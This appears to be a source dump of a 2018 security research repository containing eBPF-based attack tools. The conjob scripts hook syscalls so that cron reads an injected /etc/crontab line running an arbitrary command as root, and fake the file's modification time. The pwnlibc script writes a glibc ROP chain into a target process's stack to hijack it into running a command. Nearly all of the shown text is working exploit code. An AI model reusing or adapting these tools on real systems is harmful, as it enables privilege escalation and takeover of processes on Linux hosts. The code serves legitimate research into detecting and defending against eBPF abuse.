| for (size_t i=0; i < 14; i++) { 111 | bpf_probe_read(&stack, sizeof(size_t), scanner - i); 112 | //bpf_trace_printk("stack: %lx!\\n", stack); 113 | timerfd_settime_addr = get_timerfd_settime_addr(stack); 114 | if (timerfd_settime_addr != 0) { 115 | stack_ret_addr = (size_t)(uintptr_t)(scanner - i); 116 | bpf_trace_printk("match: %d!\\n", i); 117 | break; 118 | } 119 | } 120 | 121 | if (timerfd_settime_addr == 0) { 122 | bpf_trace_printk("failed to find timerfd_settimer\\n"); 123 | return 0; 124 | } 125 | 126 | //bpf_trace_printk("timerfd_settime: 0x%lx!\\n", timerfd_settime_addr); 127 | bpf_trace_printk("stack_ret_addr: 0x%lx!\\n", stack_ret_addr); 128 | 129 | //binary specific 130 | size_t __libc_start_main = timerfd_settime_addr - 0x100b20; 131 | bpf_trace_printk("__libc_start_main: 0x%lx!\\n", __libc_start_main); 132 | size_t __libc_system = __libc_start_main + 0x2d990; 133 | //bpf_trace_printk("__libc_system: 0x%lx!\\n", __libc_system); 134 | 135 | uint8_t instbuf[16]; 136 | bpf_probe_read(&instbuf, sizeof(instbuf), (void*)__libc_system); 137 | 138 | /* 139 | #pragma unroll 140 | for (size_t i=0; i < sizeof(instbuf); i++) { 141 | bpf_trace_printk("inst: %x!\\n", (uint8_t)instbuf[i]); 142 | } 143 | */ 144 | 145 | 146 | //int r = bpf_probe_write_user(addr, buf, 5); 147 | //bpf_trace_printk("write: %d\\n", r); 148 | 149 | return 0; 150 | } 151 | 152 | 153 | """ 154 | 155 | 156 | class notify_t(ctypes.Structure): 157 | _fields_ = [ 158 | ("data", ctypes.c_uint8*128), 159 | ] 160 | 161 | def handle_event(cpu, data, size): 162 | try: 163 | notify = ctypes.cast(data, ctypes.POINTER(notify_t)).contents 164 | print(repr(notify)) 165 | 166 | except KeyboardInterrupt: 167 | sys.exit(0) 168 | 169 | #b = BPF(text=text).trace_print() 170 | b = BPF(text=text, debug=0x8) 171 | #b = BPF(text=text) 172 | 173 | b["output"].open_perf_buffer(handle_event) 174 | 175 | b.trace_print() 176 | 177 | #print("Listening...") 178 | #while True: 179 | # try: 180 | # b.kprobe_poll() 181 | # except KeyboardInterrupt: 182 | # sys.exit(0) 183 | 184 | 185 | -------------------------------------------------------------------------------- /conjob/conjob.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2018 NCC Group Security Services, Inc. All rights reserved. 2 | # Licensed under Dual BSD/GPLv2 per the repo LICENSE file. 3 | 4 | from __future__ import absolute_import, division, print_function, unicode_literals 5 | from bcc import BPF 6 | import ctypes 7 | import sys 8 | import time 9 | 10 | text = """ 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | 18 | #define UINT8_MAX (255) 19 | #define UINT32_MAX (4294967295UL) 20 | 21 | typedef struct notify { 22 | uint8_t data[128]; 23 | } notify_t; 24 | BPF_PERF_OUTPUT(output); 25 | 26 | inline static void notify(notify_t* n, struct pt_regs* ctx) { 27 | output.perf_submit(ctx, n, sizeof(notify_t)); 28 | } 29 | /*notify_t n; 30 | #pragma unroll 31 | for (size_t i = 0; i < sizeof(n.data); i++) { 32 | n.data[i] = 0; 33 | } 34 | notify(&n, ctx);*/ 35 | 36 | static inline int is_crontab(char const __user* pathname) { 37 | char const key[] = "/etc/crontab"; 38 | char const path[sizeof(key)];; 39 | bpf_probe_read((char*)&path, sizeof(path), pathname); 40 | 41 | #pragma unroll 42 | for (size_t i=0; itime == 0) { 65 | st->time = bpf_ktime_get_ns(); 66 | } 67 | 68 | u64 currtime = bpf_ktime_get_ns(); 69 | u64 diff = currtime - st->time; 70 | u64 ds = diff / 1000000000; 71 | 72 | time_t ts = t + ds; 73 | 74 | time_t st_atime = ts; 75 | time_t st_mtime = ts; 76 | time_t st_ctime = ts; 77 | 78 | //time_t* at = &statbuf->st_atime; 79 | time_t* mt = &statbuf->st_mtime; 80 | //time_t* ct = &statbuf->st_ctime; 81 | 82 | int r = 0; 83 | //r = bpf_probe_write_user(at, &st_atime, sizeof(st_atime)); 84 | r = bpf_probe_write_user(mt, &st_mtime, sizeof(st_mtime)); 85 | //r = bpf_probe_write_user(ct, &st_ctime, sizeof(st_ctime)); 86 | 87 | //bpf_trace_printk("write status: %d\\n", r); 88 | } 89 | 90 | BPF_HASH(hookstat, u64, struct stat __user*); 91 | 92 | int kprobe__sys_newstat( 93 | struct pt_regs *ctx, 94 | char const __user* pathname, 95 | struct stat __user* statbuf) { 96 | if (statbuf == NULL || pathname == NULL) { 97 | return 0; 98 | } 99 | 100 | u64 pid_tgid = bpf_get_current_pid_tgid(); 101 | u64 pid = (u32)(pid_tgid >> 32); 102 | 103 | if (is_crontab(pathname)) { 104 | hookstat.update(&pid, &statbuf); 105 | } 106 | return 0; 107 | } 108 | 109 | int kretprobe__sys_newstat(struct pt_regs *ctx) { 110 | u64 pid_tgid = bpf_get_current_pid_tgid(); 111 | u64 pid = (u32)(pid_tgid >> 32); 112 | 113 | struct stat** statbuf_p; 114 | statbuf_p = hookstat.lookup(&pid); 115 | if (!statbuf_p) { 116 | return 0; 117 | } 118 | struct stat __user* statbuf = *statbuf_p; 119 | 120 | bump_stat(statbuf); 121 | hookstat.delete(&pid); 122 | 123 | return 0; 124 | } 125 | 126 | BPF_HASH(hookopenat, u64, u64); 127 | 128 | int kprobe__sys_openat(struct pt_regs *ctx, 129 | int dirfd, char const __user* pathname, int flags) { 130 | 131 | if (dirfd != AT_FDCWD || pathname == NULL || flags != O_RDONLY) { 132 | return 0; 133 | } 134 | 135 | if (is_crontab(pathname)) { 136 | u64 pid_tgid = bpf_get_current_pid_tgid(); 137 | u64 pid = (u32)(pid_tgid >> 32); 138 | hookopenat.update(&pid, &pid); 139 | } 140 | return 0; 141 | } 142 | 143 | BPF_HASH(fdmap, u64, u64); 144 | 145 | int kretprobe__sys_openat(struct pt_regs *ctx) { 146 | u64 pid_tgid = bpf_get_current_pid_tgid(); 147 | u64 pid = (u32)(pid_tgid >> 32); 148 | 149 | u64* p; 150 | p = hookopenat.lookup(&pid); 151 | if (!p) { 152 | return 0; 153 | } 154 | 155 | int ret = PT_REGS_RC(ctx); 156 | if (ret > 0) { 157 | u64 kv = (((u64)ret) << 32) ^ pid; 158 | bpf_trace_printk("hooking open: %lx\\n", kv); 159 | fdmap.update(&kv, &kv); 160 | hookopenat.delete(&pid); 161 | } 162 | return 0; 163 | } 164 | 165 | int kprobe__sys_close( 166 | struct pt_regs *ctx, 167 | int fd) { 168 | u64 pid_tgid = bpf_get_current_pid_tgid(); 169 | u64 pid = (u32)(pid_tgid >> 32); 170 | u64 kv = (((u64)fd) << 32) ^ pid; 171 | 172 | u64* p; 173 | p = fdmap.lookup(&kv); 174 | if (p) { 175 | fdmap.delete(&kv); 176 | } 177 | return 0; 178 | } 179 | 180 | BPF_HASH(hookfstat, u64, struct stat __user*); 181 | 182 | int kprobe__sys_newfstat(struct pt_regs *ctx, 183 | int fd, struct stat __user* statbuf) { 184 | 185 | u64 pid_tgid = bpf_get_current_pid_tgid(); 186 | u64 pid = (u32)(pid_tgid >> 32); 187 | u64 kv = (((u64)fd) << 32) ^ pid; 188 | 189 | u64* p; 190 | p = fdmap.lookup(&kv); 191 | if (p) { 192 | hookfstat.update(&pid, &statbuf); 193 | } 194 | 195 | return 0; 196 | } 197 | 198 | int kretprobe__sys_newfstat(struct pt_regs *ctx) { 199 | u64 pid_tgid = bpf_get_current_pid_tgid(); 200 | u64 pid = (u32)(pid_tgid >> 32); 201 | 202 | struct stat** statbuf_p; 203 | statbuf_p = hookfstat.lookup(&pid); 204 | if (!statbuf_p) { 205 | return 0; 206 | } 207 | 208 | struct stat __user* statbuf = *statbuf_p; 209 | 210 | bump_stat(statbuf); 211 | hookfstat.delete(&pid); 212 | 213 | return 0; 214 | } 215 | 216 | BPF_HASH(hooklstat, u64, struct stat __user*); 217 | 218 | int kprobe__sys_newlstat( 219 | struct pt_regs *ctx, 220 | char const __user* pathname, 221 | struct stat __user* statbuf) { 222 | if (statbuf == NULL || pathname == NULL) { 223 | return 0; 224 | } 225 | 226 | u64 pid_tgid = bpf_get_current_pid_tgid(); 227 | u64 pid = (u32)(pid_tgid >> 32); 228 | 229 | if (is_crontab(pathname)) { 230 | hooklstat.update(&pid, &statbuf); 231 | } 232 | return 0; 233 | } 234 | 235 | int kretprobe__sys_newlstat(struct pt_regs *ctx) { 236 | u64 pid_tgid = bpf_get_current_pid_tgid(); 237 | u64 pid = (u32)(pid_tgid >> 32); 238 | 239 | struct stat** statbuf_p; 240 | statbuf_p = hooklstat.lookup(&pid); 241 | if (!statbuf_p) { 242 | return 0; 243 | } 244 | 245 | struct stat __user* statbuf = *statbuf_p; 246 | 247 | bump_stat(statbuf); 248 | hooklstat.delete(&pid); 249 | 250 | return 0; 251 | } 252 | 253 | 254 | BPF_HASH(hookread, u64, char*); 255 | 256 | int kprobe__sys_read(struct pt_regs *ctx, 257 | int fd, void *buf, size_t count) { 258 | 259 | u64 pid_tgid = bpf_get_current_pid_tgid(); 260 | u64 pid = (u32)(pid_tgid >> 32); 261 | u64 kv = (((u64)fd) << 32) ^ pid; 262 | 263 | u64* p; 264 | p = fdmap.lookup(&kv); 265 | if (p) { 266 | hookread.update(&pid, (char**)&buf); 267 | } 268 | 269 | return 0; 270 | } 271 | 272 | int kretprobe__sys_read(struct pt_regs *ctx) { 273 | u64 pid_tgid = bpf_get_current_pid_tgid(); 274 | u64 pid = (u32)(pid_tgid >> 32); 275 | 276 | char** bufp = NULL; 277 | bufp = hookread.lookup(&pid); 278 | if (!bufp) { 279 | return 0; 280 | } 281 | int ret = PT_REGS_RC(ctx); 282 | char __user* buf = *bufp; 283 | 284 | //char payload[] = "SHELL=/bin/sh\\n* * * * * root /usr/bin/id > /tmp/myebpfid\\n#"; 285 | char payload[] = "SHELL=/bin/sh\\n* * * * * root """ + sys.argv[1] + """\\n#"; 286 | 287 | if (ret > 0 && (sizeof(payload)-1) < ret) { 288 | char orig[4]; 289 | bpf_probe_read(&orig, 4, buf); 290 | orig[3] = (char)0; 291 | //if (orig[0] == '#') { 292 | //bpf_trace_printk("feeding evil data"); 293 | bpf_probe_write_user(buf, &payload, sizeof(payload)-1); 294 | //} 295 | } 296 | 297 | hookread.delete(&pid); 298 | 299 | return 0; 300 | } 301 | 302 | """ 303 | 304 | 305 | class notify_t(ctypes.Structure): 306 | _fields_ = [ 307 | ("data", ctypes.c_uint8*128), 308 | ] 309 | 310 | def handle_event(cpu, data, size): 311 | try: 312 | notify = ctypes.cast(data, ctypes.POINTER(notify_t)).contents 313 | print(repr(notify)) 314 | 315 | except KeyboardInterrupt: 316 | sys.exit(0) 317 | 318 | #b = BPF(text=text).trace_print() 319 | b = BPF(text=text, debug=0x8) 320 | #b = BPF(text=text) 321 | 322 | b["output"].open_perf_buffer(handle_event) 323 | 324 | b.trace_print() 325 | -------------------------------------------------------------------------------- /obie-trice-conjob/kern.c: -------------------------------------------------------------------------------- 1 | #define __x86_64__ // needed for proper stat.h layout (& probably other stuff) 2 | // rule of thumb: 3 | // wrong: offsetof(struct stat, st_mtim) -> 96 4 | // right: offsetof(struct stat, st_mtim) -> 88 5 | 6 | // note: doesn't keep track of seek position, which would get wacky w/ threads 7 | 8 | #define _POSIX_C_SOURCE 200809L 9 | 10 | #include 11 | #include 12 | #include 13 | 14 | #include 15 | #include 16 | #include "bpf_helpers.h" 17 | 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | 25 | #include "regs.h" 26 | 27 | #define bpf_printk(fmt, ...) \ 28 | ({ \ 29 | char ____fmt[] = fmt; \ 30 | bpf_trace_printk(____fmt, sizeof(____fmt), ##__VA_ARGS__); \ 31 | }) 32 | 33 | struct bpf_map_def SEC("maps") comm_map = { 34 | .type = BPF_MAP_TYPE_ARRAY, 35 | .key_size = sizeof(uint32_t), 36 | .value_size = 256, 37 | .max_entries = 1, 38 | }; 39 | 40 | struct bpf_map_def SEC("maps") target_map = { 41 | .type = BPF_MAP_TYPE_ARRAY, 42 | .key_size = sizeof(uint32_t), 43 | .value_size = sizeof(uint64_t), 44 | .max_entries = 1, 45 | }; 46 | 47 | struct bpf_map_def SEC("maps") payload_map = { 48 | .type = BPF_MAP_TYPE_ARRAY, 49 | .key_size = sizeof(uint32_t), 50 | .value_size = 0x1000, 51 | .max_entries = 1, 52 | }; 53 | 54 | struct bpf_map_def SEC("maps") time_map = { 55 | .type = BPF_MAP_TYPE_ARRAY, 56 | .key_size = sizeof(uint32_t), 57 | .value_size = sizeof(uint64_t), 58 | .max_entries = 2, 59 | }; 60 | 61 | static inline void bump_stat(struct stat* statbuf) { 62 | uint64_t t = 0; // base epoch time 63 | { 64 | uint32_t key = 0; 65 | uint64_t* base_time = bpf_map_lookup_elem(&time_map, &key); 66 | if (base_time == NULL) { 67 | return; 68 | } 69 | if (*base_time == 0) { 70 | return; 71 | } 72 | t = *base_time; 73 | } 74 | 75 | uint64_t st = 0; // base uptime (ns) 76 | { 77 | uint32_t key = 1; 78 | uint64_t* start_time = bpf_map_lookup_elem(&time_map, &key); 79 | if (start_time == NULL) { 80 | return; 81 | } 82 | if (*start_time == 0) { 83 | st = bpf_ktime_get_ns(); 84 | *start_time = st; 85 | } else { 86 | st = *start_time; 87 | } 88 | } 89 | 90 | uint64_t currtime = bpf_ktime_get_ns(); 91 | uint64_t diff = currtime - st; 92 | uint64_t ds = diff / 1000000000; 93 | 94 | time_t ts = t + ds; 95 | time_t n_st_mtime = ts; 96 | 97 | int r = 0; 98 | r = bpf_probe_write_user( 99 | &statbuf->st_mtime, &n_st_mtime, sizeof(n_st_mtime) 100 | ); 101 | } 102 | 103 | static inline int is_crontab(char const* pathname) { 104 | char const key[] = "/etc/crontab"; 105 | char const path[sizeof(key)]; 106 | bpf_probe_read_str((char*)&path, sizeof(path), (void*)pathname); 107 | 108 | #pragma unroll 109 | for (size_t i=0; iargs[1]; 140 | struct pt_regs *regs = (struct pt_regs *)ctx->args[0]; 141 | 142 | serialize_t s; 143 | #pragma unroll 144 | for (size_t i=0; i < sizeof(s); i++) { 145 | ((char*)&s)[i] = 0; 146 | } 147 | 148 | s.syscall_id = syscall_id; 149 | bpf_probe_read(&s.regs, sizeof(struct pt_regs), regs); 150 | bpf_map_update_elem(&state_map, &pid_tgid, &s, BPF_ANY); 151 | } 152 | 153 | static inline int sys_enter_newstat_hook( 154 | struct bpf_raw_tracepoint_args* args, 155 | struct pt_regs *regs, 156 | char const* pathname, 157 | struct stat* statbuf) { 158 | if (statbuf == NULL || pathname == NULL) { 159 | return 0; 160 | } 161 | 162 | if (is_crontab(pathname)) { 163 | save_state(args); 164 | } 165 | return 0; 166 | } 167 | 168 | static inline void sys_exit_newstat_hook(struct pt_regs *regs, long ret) { 169 | if (ret != 0) { 170 | return; 171 | } 172 | 173 | struct stat* statbuf = (struct stat*)regs->si; 174 | mode_t st_mode; 175 | bpf_probe_read(&st_mode, sizeof(st_mode), &statbuf->st_mode); 176 | 177 | if ((st_mode & S_IFMT) != S_IFREG) { 178 | return; 179 | } 180 | 181 | bump_stat(statbuf); 182 | } 183 | 184 | static inline int sys_enter_openat_hook( 185 | struct bpf_raw_tracepoint_args* args, struct pt_regs *ctx, 186 | int dirfd, char const* pathname, int flags) { 187 | 188 | if (dirfd != AT_FDCWD || pathname == NULL || flags != O_RDONLY) { 189 | return 0; 190 | } 191 | 192 | if (is_crontab(pathname)) { 193 | save_state(args); 194 | } 195 | return 0; 196 | } 197 | 198 | static inline void sys_exit_openat_hook(struct pt_regs *ctx, long ret) { 199 | int fd = (int)ret; 200 | if (fd >= 0) { 201 | uint64_t pid_tgid = bpf_get_current_pid_tgid(); 202 | uint64_t key = pid_tgid & 0xffffffff00000000; 203 | key |= fd; 204 | bpf_map_update_elem(&fd_map, &key, &fd, BPF_ANY); 205 | } 206 | } 207 | 208 | static inline int sys_enter_newfstat_hook( 209 | struct bpf_raw_tracepoint_args* args, 210 | struct pt_regs *regs, 211 | int fd, struct stat* statbuf) { 212 | if (fd < 0 || statbuf == NULL) { 213 | return 0; 214 | } 215 | 216 | uint64_t pid_tgid = bpf_get_current_pid_tgid(); 217 | uint64_t key = pid_tgid & 0xffffffff00000000; 218 | key |= fd; 219 | int* match = bpf_map_lookup_elem(&fd_map, &key); 220 | if (match != NULL && *match == fd) { 221 | save_state(args); 222 | } 223 | 224 | return 0; 225 | } 226 | 227 | static inline int sys_enter_read_hook( 228 | struct bpf_raw_tracepoint_args* args, 229 | struct pt_regs *regs, 230 | int fd, void *buf, size_t count) { 231 | 232 | if (fd < 0 || buf == NULL || count == 0) { 233 | return 0; 234 | } 235 | 236 | uint64_t pid_tgid = bpf_get_current_pid_tgid(); 237 | uint64_t key = pid_tgid & 0xffffffff00000000; 238 | key |= fd; 239 | int* match = bpf_map_lookup_elem(&fd_map, &key); 240 | if (match != NULL && *match == fd) { 241 | save_state(args); 242 | } 243 | 244 | return 0; 245 | } 246 | 247 | static inline void sys_exit_read_hook(struct pt_regs *regs, long ret) { 248 | if (ret < 1) { 249 | return; 250 | } 251 | 252 | void* buf = (void*)regs->si; 253 | size_t written = ret; 254 | 255 | /* 256 | size_t count = (size_t)regs->dx; 257 | if (count != 0x1000) { 258 | return; 259 | } 260 | */ 261 | 262 | //char b[16]; 263 | //bpf_probe_read(b, sizeof(b), (void*)buf); 264 | if (/* b[0] == '#' && b[1] == ' ' 265 | && b[2] == '/' && b[3] == 'e' && b[4] == 't' && b[5] == 'c' && b[6] == '/' 266 | && b[7] == 'c' && b[8] == 'r' && b[9] == 'o' && b[10] == 'n' 267 | && b[11] == 't' && b[12] == 'a' && b[13] == 'b' */ 1 268 | ) { 269 | uint32_t payload_key = 0; 270 | char* payload = bpf_map_lookup_elem(&payload_map, &payload_key); 271 | if (payload != NULL && payload[0] != '\0') { 272 | size_t c = 0x1000; 273 | if (c > written) { 274 | c = written; 275 | } 276 | bpf_probe_write_user(buf, payload, c); 277 | } 278 | } 279 | } 280 | 281 | static inline int sys_enter_close_hook( 282 | struct bpf_raw_tracepoint_args* args, struct pt_regs *ctx, 283 | int fd) { 284 | if (fd >= 0) { 285 | uint64_t pid_tgid = bpf_get_current_pid_tgid(); 286 | uint64_t key = pid_tgid & 0xffffffff00000000; 287 | key |= fd; 288 | int* match = bpf_map_lookup_elem(&fd_map, &key); 289 | if (match != NULL && *match == fd) { 290 | bpf_map_delete_elem(&fd_map, &key); 291 | } 292 | } 293 | return 0; 294 | } 295 | 296 | SEC("raw_tracepoint/sys_enter") 297 | int sys_enter_hook(struct bpf_raw_tracepoint_args *ctx) { 298 | { 299 | uint32_t key = 0; 300 | uint64_t* target_pid = bpf_map_lookup_elem(&target_map, &key); 301 | if (target_pid == NULL) { 302 | return 0; 303 | } 304 | if (*target_pid != 0) { 305 | uint64_t pid_tgid = bpf_get_current_pid_tgid(); 306 | uint64_t pid = (uint32_t)(pid_tgid >> 32); 307 | if (pid != *target_pid) { 308 | return 0; 309 | } 310 | } 311 | } 312 | 313 | unsigned long syscall_id = ctx->args[1]; 314 | struct pt_regs regs; 315 | bpf_probe_read(®s, sizeof(regs), (void*)ctx->args[0]); 316 | 317 | switch (syscall_id) { 318 | case (0): { // read 319 | return sys_enter_read_hook( 320 | // int fd, char* buf, size_t count 321 | ctx, ®s, (int)regs.di, (char*)regs.si, (size_t)regs.dx 322 | ); 323 | } 324 | case (3): { // close 325 | return sys_enter_close_hook( 326 | // int fd 327 | ctx, ®s, (int)regs.di 328 | ); 329 | } 330 | case (4): { // stat 331 | return sys_enter_newstat_hook( 332 | // char const* pathname, struct stat* statbuf 333 | ctx, ®s, (char const*)regs.di, (struct stat*)regs.si 334 | ); 335 | } 336 | case (5): { // fstat 337 | return sys_enter_newfstat_hook( 338 | // int fd, struct stat* statbuf 339 | ctx, ®s, (int)regs.di, (struct stat*)regs.si 340 | ); 341 | } 342 | case (6): { // lstat 343 | // reusing stat hooks for lstat, they ignore symlinks in the exit hook 344 | return sys_enter_newstat_hook( 345 | // char const* pathname, struct stat* statbuf 346 | ctx, ®s, (char const*)regs.di, (struct stat*)regs.si 347 | ); 348 | } 349 | case (257): { // openat 350 | return sys_enter_openat_hook( 351 | // int dirfd, char const* pathname, int flags 352 | ctx, ®s, (int)regs.di, (char const*)regs.si, (int)regs.dx 353 | ); 354 | } 355 | default: { 356 | return 0; 357 | } 358 | } 359 | 360 | return 0; 361 | } 362 | 363 | SEC("raw_tracepoint/sys_exit") 364 | int sys_exit_hook(struct bpf_raw_tracepoint_args *ctx) { 365 | uint64_t pid_tgid = bpf_get_current_pid_tgid(); 366 | serialize_t* s = bpf_map_lookup_elem(&state_map, &pid_tgid); 367 | if (s == NULL) { 368 | return 0; 369 | } 370 | long ret = (long)ctx->args[1]; 371 | 372 | switch (s->syscall_id) { 373 | case (0): { // read 374 | sys_exit_read_hook(&s->regs, ret); 375 | break; 376 | } 377 | 378 | case (4): { // stat 379 | sys_exit_newstat_hook(&s->regs, ret); 380 | break; 381 | } 382 | case (5): { // fstat 383 | sys_exit_newstat_hook(&s->regs, ret); // no need to implement a different one 384 | break; 385 | } 386 | case (6): { // lstat 387 | sys_exit_newstat_hook(&s->regs, ret); // ditto 388 | break; 389 | } 390 | case (257): { // openat 391 | sys_exit_openat_hook(&s->regs, ret); 392 | } 393 | default: { 394 | break; 395 | } 396 | } 397 | bpf_map_delete_elem(&state_map, &pid_tgid); 398 | 399 | return 0; 400 | } 401 | 402 | char _license[] SEC("license") = "Dual BSD/GPL"; 403 | -------------------------------------------------------------------------------- /glibcpwn/pwnlibc.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2018 NCC Group Security Services, Inc. All rights reserved. 2 | # Licensed under Dual BSD/GPLv2 per the repo LICENSE file. 3 | 4 | from __future__ import absolute_import, division, print_function, unicode_literals 5 | from bcc import BPF 6 | import argparse 7 | import ctypes 8 | import sys 9 | import time 10 | 11 | from base64 import b64decode 12 | from binascii import hexlify 13 | 14 | from subprocess import check_output, CalledProcessError 15 | import os 16 | import multiprocessing 17 | 18 | stack_ret_addr = int(sys.argv[2], 16) 19 | __libc_start_main = int(sys.argv[3], 16) 20 | __libc_start_main_base = 0x0000000000021ab0 21 | 22 | 23 | 24 | text = """ 25 | // ubuntu 18.04 /lib/x86_64-linux-gnu/libc-2.27.so 26 | // sha256: cd7c1a035d24122798d97a47a10f6e2b71d58710aecfd392375f1aa9bdde164d 27 | 28 | // fedora 28 /usr/lib64/libc-2.27.so 29 | // 9cabc2a3508849d991bd2765c4d6626277ee111123847cd263759e453a13848c 30 | 31 | // elf addr | source func | op | instr | fedora? 32 | // ========================================================================================================================================================= 33 | // 0x0d2975 | mktime@@GLIBC_2.2.5 | 0f 05 c3 | syscall; ret // raw syscall | yes 28 (0x0b5b35) 34 | // 0x02bf1e | __gconv_get_cache@@GLIBC_PRIVATE | 5c c3 | pop rsp ; ret (mid inst, 0x02bf1d) // stack cleanup pt 1 | yes 28 (multiple) 35 | // 0x0439c8 | mblen@@GLIBC_2.2.5 | 58 c3 | pop rax; ret (mid inst, 0x0439c6) // syscall id | yes 28 (0x039ea8) 36 | // 0x1977fa | | 5f c3 | pop rdi; ret (mid inst, 0x1977f9) // arg 0 | yes 28 (0x022adf) 37 | // 0x08d1af | _IO_file_underflow@@GLIBC_2.2.5 | 5e c3 | pop rsi; ret (mid inst, 0x08d1ae) // arg 1 | yes 28 (0x02348e) 38 | // 0x1415dd | __inet6_scopeid_pton@@GLIBC_PRIVATE | 48 89 c2 c3 | mov rdx, rax; ret // arg 2 | yes 28 (0x11707f) 39 | // 0x155fc6 | clnt_pcreateerror@@GLIBC_2.2.5 | 47 58 b8 01 00 00 00 c3 | pop r8 ; mov eax, 1 ; ret (mid inst, 0x155fc5) | yes 28 (0x127b36) 40 | // 0x0a80a3 | __strtok_r_1c@GLIBC_2.2.5 | 4c 89 c1 48 89 0a c3 | mov rcx, r8 ; mov qword ptr [rdx], rcx ; ret // arg 3 | ish 28 (0x03a45d) 41 | // 0x054a5a | swapcontext@@GLIBC_2.2.5 | 48 89 37 c3 | mov qword ptr [rdi], rsi ; ret // stack cleanup pt 2 | yes 28 (0x048faa) 42 | // 0x0bcde0 | wcscmp@@GLIBC_2.2.5 | 48 31 c0 c3 | xor rax, rax; ret; // clear rax | yes 28 (0x0a3810) 43 | 44 | // elf addr | func_name 45 | // =============== 46 | // 0x04f440 | __libc_system@@GLIBC_PRIVATE 47 | // 0x166450 | __libc_dlopen_mode@@GLIBC_PRIVATE 48 | // 0x0e4dd0 | _exit@@GLIBC_2.2.5 49 | // 0x1108c0 | __close@@GLIBC_2.2.5 50 | 51 | // 0x043999 | 5b c3 | pop rbx; ret 52 | // 0x0000000000155fc6 : pop r8 ; mov eax, 1 ; ret 53 | // 0x00000000000a80a3 : mov rcx, r8 ; mov qword ptr [rdx], rcx ; ret 54 | // 1) set rax (0x0439c8 | 58 c3 | pop rax; ret) 55 | // - to safe stack address slot 56 | // 2) set rdx (0x1415dd | 48 89 c2 c3 | mov rdx, rax; ret) 57 | // - to safe stack address slot placed in rax 58 | // 3) set r8 (0x155fc6 | 47 58 b8 01 00 00 00 c3 | pop r8 ; mov eax, 1 ; ret) 59 | // 4) set rcx [and rax] (0x155fc6 | 47 58 b8 01 00 00 00 c3 | mov rcx, r8 ; mov qword ptr [rdx], rcx ; ret) 60 | 61 | // to set arg0-3 62 | // set rcx via above chain first 63 | // set rax to set rdx 64 | // set rsi 65 | // set rdi 66 | // call target func 67 | // cleanup 68 | // set rdi to kprobe key 69 | // syscall 70 | // in kprobe, write back _most_ of original page 71 | // pop rsp to pt 2 cleanup 72 | // pt 2 cleanup 73 | // write remaining original parts back 74 | // shift stack back to original if need be 75 | /* 76 | // after kprobe close 77 | // cleanup pt 2 78 | slot -11 : <0x1977fa> // set rdi 79 | slot -10 : 80 | slot -9 : <0x08d1af> // set rsi 81 | slot -8 : 82 | slot -7 : <0x054a5a> // stack cleanup pt 2 (1/2) 83 | slot -6 : <0x1977fa> // set rdi 84 | slot -5 : 85 | slot -4 : <0x08d1af> // set rsi 86 | slot -3 : 87 | slot -2 : <0x054a5a> // stack cleanup pt 2 (2/2) 88 | slot -1 : <0x0bcde0> // clear rax for "timerfd_settime" return value 89 | // before kprobe close 90 | // set arg 3 91 | slot 0 (ret) : <0x0439c8> // set rax 92 | slot +1 : // safe addr 93 | slot +2 : <0x1415dd> // set rdx 94 | slot +3 : <0x155fc6> // set r8 95 | slot +4 : 96 | slot +5 : <0x0a80a3> // set rcx (arg 3) 97 | // set arg 2 98 | slot +6 : <0x0439c8> // set rax 99 | slot +7 : 100 | slot +8 : <0x1415dd> // set rdx (arg 2) 101 | // set arg 1 102 | slot +9 : <0x08d1af> // set rsi (arg 1) 103 | slot +10 : 104 | // set arg 0 105 | slot +11 : <0x1977fa> // set rdi (arg 0) 106 | slot +12 : 107 | // call target func 108 | slot +13 : 109 | // cleanup 110 | // kprobe call 111 | slot +14 : <0x0439c8> // set rax (syscall id for close) 112 | slot +15 : 0x3 // (syscall id for close) 113 | slot +16 : <0x1977fa> // set rdi (arg 0) 114 | slot +17 : 0xffffffffffffff02 (key for kprobe detection) 115 | slot +18 : <0x0d2975> (syscall) 116 | // stack cleanup pt 1 117 | slot +19 : <0x02bf1e> // stack cleanup pt 1 118 | slot +20 : 119 | slot +21 : 0x0000000000000000 (safe slot for [set arg 3]) 120 | slot +N : 121 | */ 122 | 123 | #include 124 | #include 125 | #include 126 | #include 127 | #include 128 | #include 129 | 130 | #define UINT8_MAX (255) 131 | #define UINT32_MAX (4294967295UL) 132 | 133 | typedef struct notify { 134 | uint8_t data[128]; 135 | } notify_t; 136 | BPF_PERF_OUTPUT(output); 137 | 138 | inline static void notify(notify_t* n, struct pt_regs* ctx) { 139 | output.perf_submit(ctx, n, sizeof(notify_t)); 140 | } 141 | /* 142 | notify_t n; 143 | #pragma unroll 144 | for (size_t i = 0; i < sizeof(n.data); i++) { 145 | n.data[i] = 0; 146 | } 147 | notify(&n, ctx); 148 | */ 149 | 150 | static const char cmd[] = "touch foo2"; 151 | 152 | #define libc_gadget(addr) ((__libc_start_main - __libc_start_main_base) + (size_t)addr) 153 | const size_t slots = 29; 154 | 155 | const size_t magic_close_fd = 0xffffffffffffff02; // key for kprobe detection 156 | 157 | void __user* const stack_ret_addr = (void*)""" + sys.argv[2] + """; 158 | const size_t __libc_start_main = """ + sys.argv[3] + """; 159 | const size_t __libc_start_main_base = 0x0000000000021ab0; 160 | 161 | const size_t cleanup_stack_start = (size_t)stack_ret_addr - sizeof(size_t)*11; 162 | 163 | struct stack_holder { 164 | size_t stack[slots+1]; 165 | }; 166 | 167 | BPF_ARRAY(stack_map, struct stack_holder, 1); 168 | 169 | int kretprobe__sys_timerfd_settime(struct pt_regs *ctx) { 170 | 171 | size_t pid_tgid = bpf_get_current_pid_tgid(); 172 | size_t pid = (u32)(pid_tgid >> 32); 173 | 174 | if (pid != """ + sys.argv[1] + """) { 175 | return 0; 176 | } 177 | 178 | struct stack_holder* h = NULL; 179 | int key = 0; 180 | h = stack_map.lookup(&key); 181 | if (!h) { 182 | return 0; 183 | } 184 | 185 | size_t rop_stack[slots+1]; 186 | 187 | //set arg 3 188 | //rop_stack[0] = 0x4141414141414141; 189 | rop_stack[0] = libc_gadget(0x0439c8); 190 | rop_stack[1] = (size_t)stack_ret_addr + sizeof(size_t)*(21); 191 | rop_stack[2] = libc_gadget(0x1415dd); 192 | rop_stack[3] = libc_gadget(0x155fc6); 193 | rop_stack[4] = 0x0; // arg3 194 | rop_stack[5] = libc_gadget(0x0a80a3); 195 | //set arg 2 196 | rop_stack[6] = libc_gadget(0x0439c8); 197 | 